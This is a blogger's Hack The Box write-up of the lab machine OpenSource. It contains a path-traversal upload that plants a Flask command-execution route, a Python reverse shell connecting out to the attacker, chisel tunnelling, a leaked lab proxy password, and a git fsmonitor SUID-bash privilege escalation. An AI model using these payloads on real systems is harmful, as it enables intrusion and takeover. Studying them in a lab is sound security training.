Hack The Box OpenSource Writeup

Haxez - Hacking Made Easy
14 min readMar 17, 2023

--

Hello world and welcome to Haxez, I’m back on my daily hacking spree and this time I’m looking at the easy Hack The Box machine OpenSource. These writeups are not meant to be walkthroughs, they are to document my journey. I may get frustrated, and angry along the way but hopefully, I will root the box and learn something new.

OpenSource Enumeration

To start enumerating the box, we use our tried and tested old faithful tool of Nmap. As you can see from the output below, we have ports 22, 80 and 3000 open. If I didn’t already know that this was a Linux box then the ports would be a giveaway. Please note, I’ve snipped out some of the output in order to keep it looking neat.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ sudo nmap -sC -sV -p- -A 10.129.227.140
[sudo] password for haxez:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 07:18 GMT
Nmap scan report for 10.129.227.140
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e59057ca958c923900f7523823d055f (RSA)
| 256 48a853e7e008aa1d968652bb8856a0b7 (ECDSA)
|_ 256 021f979e3c8e7a1c7caf9d5a254bb8c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 15 Mar 2023 07:19:07 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
3000/tcp filtered ppp
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 11.64 ms 10.10.14.1
2 11.86 ms 10.129.227.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.68 seconds

Whats UpCloud?

Do you like UpCloud? Whats UpCloud? doesn’t quite work. Anyway, the web application appears to be advertising some type of file upload/transfer service. The download button allows us to download what appears to be the source code of the application. The take me there button takes us to a live version of the application.

OpenSource Code Analysis

So rather than poke at the application, I’m going to look at the source code. The answers to getting a foothold are likely to be found in the source code. Also, the video I’m watching to assist me is looking at the source code too. We can see that it is using docker.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ tree -R
├── app
│ ├── app
│ │ ├── configuration.py
│ │ ├── __init__.py
│ │ ├── static
│ │ │ ├── css
│ │ │ │ └── style.css
│ │ │ ├── js
│ │ │ │ ├── ie10-viewport-bug-workaround.js
│ │ │ │ └── script.js
│ │ │ └── vendor
│ │ │ ├── bootstrap
│ │ │ │ ├── css
│ │ │ │ │ ├── bootstrap.css
│ │ │ │ │ ├── bootstrap.css.map
│ │ │ │ │ ├── bootstrap-grid.css
│ │ │ │ │ ├── bootstrap-grid.css.map
│ │ │ │ │ ├── bootstrap-grid.min.css
│ │ │ │ │ ├── bootstrap-grid.min.css.map
│ │ │ │ │ ├── bootstrap.min.css
│ │ │ │ │ ├── bootstrap.min.css.map
│ │ │ │ │ ├── bootstrap-reboot.css
│ │ │ │ │ ├── bootstrap-reboot.css.map
│ │ │ │ │ ├── bootstrap-reboot.min.css
│ │ │ │ │ └── bootstrap-reboot.min.css.map
│ │ │ │ └── js
│ │ │ │ ├── bootstrap.bundle.js
│ │ │ │ ├── bootstrap.bundle.js.map
│ │ │ │ ├── bootstrap.bundle.min.js
│ │ │ │ ├── bootstrap.bundle.min.js.map
│ │ │ │ ├── bootstrap.js
│ │ │ │ ├── bootstrap.js.map
│ │ │ │ ├── bootstrap.min.js
│ │ │ │ └── bootstrap.min.js.map
│ │ │ ├── font-awesome
│ │ │ │ └── all.min.css
│ │ │ ├── jquery
│ │ │ │ ├── jquery-3.4.1.js
│ │ │ │ ├── jquery-3.4.1.min.js
│ │ │ │ └── jquery-3.4.1.min.map
│ │ │ └── popper
│ │ │ ├── popper.js
│ │ │ ├── popper.js.flow
│ │ │ ├── popper.js.map
│ │ │ ├── popper.min.js
│ │ │ ├── popper.min.js.map
│ │ │ ├── popper-utils.js
│ │ │ ├── popper-utils.js.map
│ │ │ ├── popper-utils.min.js
│ │ │ └── popper-utils.min.js.map
│ │ ├── templates
│ │ │ ├── index.html
│ │ │ ├── success.html
│ │ │ └── upload.html
│ │ ├── utils.py
│ │ └── views.py
│ ├── INSTALL.md
│ ├── public
│ │ └── uploads
│ └── run.py
├── build-docker.sh
├── config
│ └── supervisord.conf
├── Dockerfile
└── source.zip

A quick look at the Dockerfile suggests the image is Python:3-Alpine. I’ve done a few containers escapes before. I wonder if this is where we’re heading with this. Since docker is running on the host, it makes sense for us to use it to perform the privilege escalation.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ head Dockerfile
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache supervisor
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask

Change History

I’m not overly familiar with using git outside of using it to clone repositories. It’s something I need to improve upon especially since you can do cool forensic stuff like we’re about to. Can you do git log on any repository you clone? can you also do git show and git checkout on any repository? That’s great but also terrifying. Think of all the hidden credentials or private keys that are hidden in previous iterations of someone’s code.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial

Let’s take a look at the changes made to the most recent commit. From the output below we can see that a few changes were made including setting the environment to production. I’m not sure if this allowed the Wizard to deduce there was a dev branch, or whether there is always a dev branch. I’m going to assume the latter until I read about it later.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git show 2c67a52253c6fe1f206ad82ba747e43208e8cfd9
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

Let’s get the dev branch and view the change history there. We can see that there have been a number of commits. Perhaps going through these will tell us a story about how the application was built. Maybe, there could even be some hard-coded credentials or something.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git checkout dev
Switched to branch 'dev'
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial

Pathfinding

According to the Wizard, there is a vulnerability in the following line of code. If you place a forward slash in front of a directory, it will cancel out the initial directory. So, the code below should place us in public/uploads. However, as we control the name of the file we can change the directory. I will have to see it in action before I can understand what’s happening. Sounds interesting though.

file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)

Unfortunately, it does seem that there is some input sanitization going on. The screenshot below shows that the application is attempting to capture ‘../’ from the filename. Hopefully, this shouldn’t cause too much of a problem. Perhaps we could double it up to something like ‘….//’ so that it only strips out the first ‘../’. We will see.

OpenSource Exploit Development

Ok, this makes sense to me when watching the video. However, I would have had no idea that this is what you were supposed to do. We take the original views.py file and edit it to add a “command shell” I suppose. Like with PHP and Bash, I imagine this is the Python equivalent and something that I will get used to. We take the original views.py and we add the following section at the bottom.

import os

from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/run/<cmd>')
def run_command(cmd):
import subprocess
return subprocess.check_output(cmd.split(" "))

Then we save the file and upload it via Burp. We can use the weakness in the file upload code (mentioned previously) to change directories and overwrite the existing file. So we save the file as views.py.

And then we use Burp to upload it and change the directory to that of the original file. The original directory was ‘/app/app/views.py which we can obtain from generating a file not found error on the application.

OpenSource Foothold Proof Of Concept

I thought this was an extremely cool method of getting command execution. However, I wouldn’t have known what to do myself so I have learned a lot. I definitely need to be more confident when reviewing code. It exploits the file upload weakness to upload a malicious file and gives us command execution.

As you can see from the image below, we have changed the name of the file to ‘/app/app/views.py’. Now, when the file gets uploaded, it should overwrite the original ‘/app/app/views.py’ with our malicious file. Once it is uploaded, we should have command execution.

With the file uploaded, we can pass commands to the URL in order to run them. For example, I can run the following ‘whoami’ command by visiting ‘http://<target IP>/run/whoami and shockingly we can see that the application is running as root. However, this is probably going to be ‘root’ inside the docker container. We likely have a long way to go still.

OpenSouce Foothold Exploit

We’re now going to add another function to the views.py application. This function is going to be a reverse shell that lets it submit our IP address as an argument. I grabbed a Python payload from PayloadAllTheThings and modified it so that it would work with the existing code. Obviously, I was just copying everything that the Wizard was doing.

@app.route('/revshell/<ip>')
def rev_shell(ip):
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

We can then go back to Repeater in Burpsuite and add our code to the bottom of the request and resend it. If it comes back with a 200 we should be good, if it errors then remove the changes, send the request to update it and try again.

Then start a listener on the port you chose (in my case 1337, because of course).

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ sudo nc -lvnp 1337
[sudo] password for haxez:
listening on [any] 1337 ...

Then you visit the application route that you created in your browser and pass it your IP address. Unfortunately, it seems I got a socket error for some reason so I will need to go back and look at the code. Once, I’ve fixed that I will try again.

And I spotted my mistake, In the ‘s.connect((ip,10001))’ section, I still had the ‘ip’ in quotation marks. That makes sense. Ok, we now have a shell. Not a very good shell admittidly.

System Enumeration

This is a cool trick, after connecting to the host we can check the IP address and see that it is on a completely different range than the target. For example, the target IP for OpenSource is 10.129.227.140 but the IP returned in the shell is 172.17.0.8. This is a huge sign that we’re inside a container. We can further confirm this by using netcat to connect to the container host on port 22 via the first IP address in that range (like a default gateway I suppose).

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
24: eth0@if25: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:08 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.8/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
nc 172.17.0.1 22
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7

Chiseling Through

Ok, so we’re on the container. We also know from our nmap scan that there was a port 3000. We can use a program called chisel to port forward the hosts port 3000 through our container so that we can access it locally. First, download the chisel program and use a python webserver to get it onto the docker container. Then on your attack box, start a server.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ ./chisel server -p 8001 --reverse
2023/03/15 09:59:54 server: Reverse tunnelling enabled
2023/03/15 09:59:54 server: Fingerprint PIZtzkgEwf3R2bylwQt/I86a2MUk/1eeKGSkL+nHRAU=
2023/03/15 09:59:54 server: Listening on http://0.0.0.0:8001

Then on the target, create a client that connects to your host.

/tmp # ./chisel client 10.10.14.126:8001 R:3000:172.17.0.1:3000
2023/03/15 10:17:32 client: Connecting to ws://10.10.14.126:8001
2023/03/15 10:17:32 client: Connected (Latency 12.057386ms)
172.17.0.1 - - [15/Mar/2023 10:18:03] "GET / HTTP/1.1" 200 -

We now have a new website which we can access by visiting http://localhost:3000. It looks like a git-style version management portal. I’ve never heard of Gitea before but now I’m going to have to go and research it in my own time.

We can also see that the application has a login page. However, we don’t appear to have any credentials for it. Perhaps we can find them in the source code we downloaded earlier.

OpenSource Getting User

I need to speed this up as I’m supposed to be working but let’s break it down quickly. First, we need to change to a different thing by running git checkout.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820

Now we can grab the credentials from the settings.json file found in the hidden .vscode directory. We can use these credentials to login to the application.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource/app/.vscode]
└──╼ [★]$ cat settings.json
{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
"http.proxyStrictSSL": false
}

Attempting to navigate to the backup repository gives us an error. We need to add the URL to our host file.

echo '127.0.0.1 opensource.htb' | sudo tee -a /etc/hosts

The developer backed up his home directory including his private key. We can steal this, pop it into a text document, give it 600 permissions and use it to SSH to the server. From here we should be able to grab the user flag to. This has been a long path to get to the user, I hope root is fairly straightforward.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ vim dev.key
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ chmod 600 dev.key
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ ssh -i dev.key dev01@10.129.227.140
The authenticity of host '10.129.227.140 (10.129.227.140)' can't be established.
ECDSA key fingerprint is SHA256:a6VljAI6pLD7/108ls+Bi5y88kWaYI6+V4lTU0KQsQU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.227.140' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Mar 15 10:36:34 UTC 2023
System load: 0.03 Processes: 217
Usage of /: 75.6% of 3.48GB Users logged in: 0
Memory usage: 22% IP address for eth0: 10.129.227.140
Swap usage: 0% IP address for docker0: 172.17.0.1

16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ cat /home/dev01/user.txt
e67▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓659

OpenSource Privilege Escalation

I downloaded a copy of pspy64 to the directory of my Python3 webserver. Then I used wget on the OpenSource target gox to download the file. I gave it executable permissions and ran it to see what processes were running. The following process stands out ‘/bin/bash /usr/local/bin/git-sync’.

dev01@opensource:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2023/03/15 10:49:01 CMD: UID=0 PID=8943 | /bin/bash /usr/local/bin/git-sync
2023/03/15 10:49:01 CMD: UID=0 PID=8944 | /bin/bash /usr/local/bin/git-sync
2023/03/15 10:49:01 CMD: UID=0 PID=8946 | /bin/bash /usr/local/bin/git-sync
2023/03/15 10:49:01 CMD: UID=0 PID=8947 | /usr/lib/git-core/git-remote-http

Let’s take a look at this file. It seems that it is looking for changes in /home/dev01. If there are any changes then it performs a git commit.

dev01@opensource:/tmp$ ls -lash /usr/local/bin/git-sync
4.0K -rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-sync
dev01@opensource:/tmp$ cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi

According to the official walkthrough, we can abuse this by adding a command to the .git/config file to give the /bin/bash binary SUID permissions so that it will automatically elevate us to root when we run it. Let’s give it a go. The following line needs to be added to the .git/config file, then the fsmonitor command will get executed when git commit is run.

fsmonitor = "chmod 4755 /bin/bash"

And that is that after waiting a moment you can list the ‘/bin/bash’ file and see that it now has the SUID bit set. You need only run the bash command to elevate to root and capture the root flag.

bash-4.4$ ls -laSh /bin/bash
-rwsr-xr-x 1 root root 1.1M Apr 18 2022 /bin/bash
bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
9eb▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8f7

OpenSource Review

I had a lot of fun with this one and learnt a lot. I can honestly say though that I wouldn’t have had a clue what to do. The path to the user flag was very complicated. I realise the word ‘very’ is unessasary here but it was VERY complicated. We had to pivot through docker containers and learn how to use versioning in git. Wow. While I definitely don’t think this was easy, it was fun.

--

--